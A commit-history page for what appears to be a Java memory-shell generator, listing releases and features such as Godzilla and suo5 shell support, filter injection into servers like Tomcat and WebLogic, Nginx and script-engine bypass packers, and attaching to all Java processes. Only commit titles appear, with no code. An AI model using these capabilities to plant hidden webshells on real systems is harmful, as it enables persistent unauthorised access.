Compare commits

..
918 Commits
Author SHA1 Message Date
ReaJason dbd9687003 ci: upgrade actions
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-04-26 22:57:39 +08:00
ReaJason 886c37d8c2 chore: 2.7.0 2026-04-26 22:39:30 +08:00
ReaJason 06feb3fe14 docs: update CHANGELOG 2026-04-26 21:33:15 +08:00
ReaJason cb195715c0 fix: assertion failed 2026-04-26 21:33:15 +08:00
ReaJason 036887d806 fix: try fix windows build failed 2026-04-26 21:33:15 +08:00
ReaJason 11794f9465 build: fumadoc build failed 2026-04-26 21:33:15 +08:00
ReaJason e7e97089ce chore: 2.6.2-SNAPSHOT 2026-04-26 21:33:15 +08:00
ReaJason ee560ff7ee style: fmt code 2026-04-26 21:33:15 +08:00
ReaJason d10323a054 feat: support Alibaba & Apache dubbo service 2026-04-26 21:33:15 +08:00
ReaJason 016d0d5bbe chore: use tomcat-embed-core dep 2026-04-26 21:33:15 +08:00
ReaJason 666aed90c3 feat: support command base64 encryptor 2026-04-26 21:33:15 +08:00
ReaJason 8962c855c9 feat: support agent attacher list java processes and attach all 2026-04-26 21:33:15 +08:00
ReaJason 8b66a83028 test: fix failed cases
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-03-30 22:45:07 +08:00
ReaJason 29b17728f3 ci: downgrade integration-test runner 2026-03-30 22:26:48 +08:00
ReaJason 1645c12b0a build: ui not found 2026-03-30 22:18:03 +08:00
ReaJason a034543689 chore: 2.6.1 2026-03-30 22:01:30 +08:00
ReaJason ba53112010 feat: upgrade docs 2026-03-30 21:55:55 +08:00
ReaJason a11b41d403 chore: upgrade deps 2026-03-30 21:55:35 +08:00
ReaJason 1643a97a92 fix: proxy OOM 2026-03-30 21:26:45 +08:00
ReaJason 8d65f0a0d9 fix: controller cannot click generate button 2026-03-30 21:26:45 +08:00
ReaJason 0f86393c7d chore: 2.6.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-02-08 20:53:50 +08:00
ReaJason cff1c34940 docs: update CHANGELOG 2026-02-08 20:44:00 +08:00
ReaJason 6c133b252b chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 757c3e6b41 Revert "test: vul-webapp failed in servlet 2.3"
This reverts commit 93971fc66c.
2026-02-08 20:44:00 +08:00
ReaJason 0d20cf4254 feat: support resin2 agent shell 2026-02-08 20:44:00 +08:00
ReaJason 58a89f8953 test: vul-webapp failed in servlet 2.3 2026-02-08 20:44:00 +08:00
ReaJason 874bd29527 refactor: rm jsp generic syntax 2026-02-08 20:44:00 +08:00
ReaJason 956c7c086d build: add publishAllToMavenLocal task 2026-02-08 20:44:00 +08:00
ReaJason fddfc19ec5 refactor: use Suo5V2Loader 2026-02-08 20:44:00 +08:00
zema1 0fccf65d1b feat: sync suo5 v2.1.0 2026-02-08 20:44:00 +08:00
ReaJason 282847d0a8 refactor: simplify code 2026-02-08 20:44:00 +08:00
ReaJason a044e3777b feat: add postProcessBytes for ByteBuddyShellGenerator 2026-02-08 20:44:00 +08:00
ReaJason 4c8343c86f fix: method body write failed with jakarta renamed
ByteBuddy Advice cache the class method list at first, the method signature will be changed when use jakarta rename, if follow advice need enhance the javax method, it will not find method signature. because ByteBuddy cached javax method, but follow advice need find the jakarta method, boom~
2026-02-08 20:44:00 +08:00
ReaJason 58041fa0b5 chore: 2.5.1-SNAPSHOT 2026-02-08 20:44:00 +08:00
ReaJason d1782309c1 fix(ui): prevent-duplicate-clicks not work 2026-02-08 20:44:00 +08:00
ReaJason 841909fa64 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 61d64885e8 chore: 2.5.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-01-19 00:28:52 +08:00
ReaJason 156db39643 test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason bb317eadfd build: image not found 2026-01-18 23:52:39 +08:00
ReaJason 2d57a702d7 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 76a4fe0bc0 test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 867c2004bc docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason d3cf8c4560 test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason a84e242d42 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 8c14631478 refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason ca8f303444 test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 0279d6cc0b fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason e9d60152b1 fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason c0c78c4372 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 686be6b59a refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason cc706ec3af test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 4ec1f06362 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 54be0712d5 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason 548990b7cc refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason 0296705a87 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason 5b0305be37 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason 8a059d9b6f docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason a60dc84356 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 5b5c225edb feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason 8458becfbc refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason aea03800c7 refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason ca304c600d feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 33753844a7 refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 9620076443 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason 9edab88267 refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason d0604a1b64 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason 34f77c134a feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 5bb6e42b3c feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 2bcd00e9c4 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason 258e87b00e ci: update ci
Docker Build Test / docker-build-test (push) Has been cancelled
2026-01-13 20:34:36 +08:00
ReaJason 61fdeba1b0 ci: add test workflow 2026-01-13 20:29:05 +08:00
ReaJason eedee34660 chore: 2.4.2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-01-12 02:21:44 +08:00
ReaJason 8edc865b69 chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason d5390db369 docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason e9dfd5085e fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason c51b4e11dc fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason 726690ede1 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 29852ecf55 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 36085b3c93 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 729dd8d166 feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 12f9dbe432 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 80f91f9d6f feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason ee07687b4f feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 9d5c5a1ddf feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 86738e308d chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 093d491219 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason 86ef0aafcb feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason afe22ca83f refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason cfc8fac0b1 feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason e828bb92b6 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason f170ca4514 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason 4ae264a091 fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 4db6739436 feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason 0c7de5bf7f test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 62a48b8937 feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason 9cb35aed9e fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason e9b9099d49 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason bab98f7995 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 9483e07e69 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason fea1c0d18e feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason aa1c4b3d13 test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason f86a9d8ee2 test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 20ee99a82d test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason 579d9a74c0 build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason a020ed587c chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason c121d91781 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason 6416d7b806 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 40c068a9e5 ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason c4bf33bb13 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason 7c0942947c docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason 2828a927ec docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 5ffbbc40d8 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason 71911fd4e3 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason 717d887acc fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
ReaJason cbfa3ba3da docs: update changelog
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-16 21:59:39 +08:00
ReaJason cb99dcab6c chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason 986208304d docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 28c12102c2 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0a5cadf64a docs: update 2025-12-16 21:55:21 +08:00
ReaJason 9127b4668c fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason 41e8bd7ba0 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 52ac025bfa docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 638cb2f90c docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason c27c580943 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason 3c646b9104 style: format code 2025-12-16 21:55:21 +08:00
ReaJason 1fb2942246 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason d51f7c1283 feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason db85ec4bee docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 0097984b33 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason c623897a80 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 9d3fc4d738 fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason 395ca3caa0 fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 6582ab87c0 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ffb8313811 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 37ed3b0dee chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason ede4b122a9 docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason eba4b82464 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 52f82d7979 fix: close response outputstream in suo5v2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-14 18:45:58 +08:00
zema1 d3727d7d3e feat: remove uneeded code 2025-12-14 18:45:58 +08:00
ReaJason 1515011026 chore: 2.4.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struct2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-10 02:10:59 +08:00
ReaJason 13cafb19a6 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason 478b214a2c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 0ccd375fd7 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason 14a1e0358e feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason c71a6c5a79 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason 9bfa58cbd4 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
ReaJason 6628a74daa ci: release ci broken
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2025-12-08 02:32:56 +08:00
ReaJason dfa5a412ff chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason e5707bd204 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason 9328fa08cd ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 2d6910895c build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason fb080b3264 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 578271effb build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason 7c85af5007 docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 3fdaa22ccd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason aa1d9bb69d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason e9f16ca32e build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason 95046169ed fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 1db5c52307 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 056032cae7 feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason f77c829f4e chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason 544706352a feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason f1d42a9b3c fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason b725ca3e67 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason 2ac2c845de feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason ccc6bd0c91 test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason d9c1828a5c fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 1e2069d869 test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason 45f6949940 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason d4e7a25255 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason c5cdb03a9f test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 772a8b5cb0 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
ReaJason cefd7147bf feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 1bb42819b5 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason ba3900f366 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason 92e8b83313 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 36236653bd feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 30dd253565 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason ca123e2871 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 6da52b2387 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason ca1d567ce7 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason 8b71ca9911 test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason 73b5bc7114 perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 74447786f2 fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason a241e2e28f chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 4e8daa4662 fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason bee0f6596f fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 5a92bd9944 feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 7c3a63902b chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason 5541159c98 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason 827d8af2f1 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason f4a16e5d37 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
ReaJason 2fa3310bf8 refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason 47386571d8 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 7e7096f363 docs: update domain 2025-11-28 09:53:55 +08:00
ReaJason dc85bd27d6 chore: 2.2.0
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
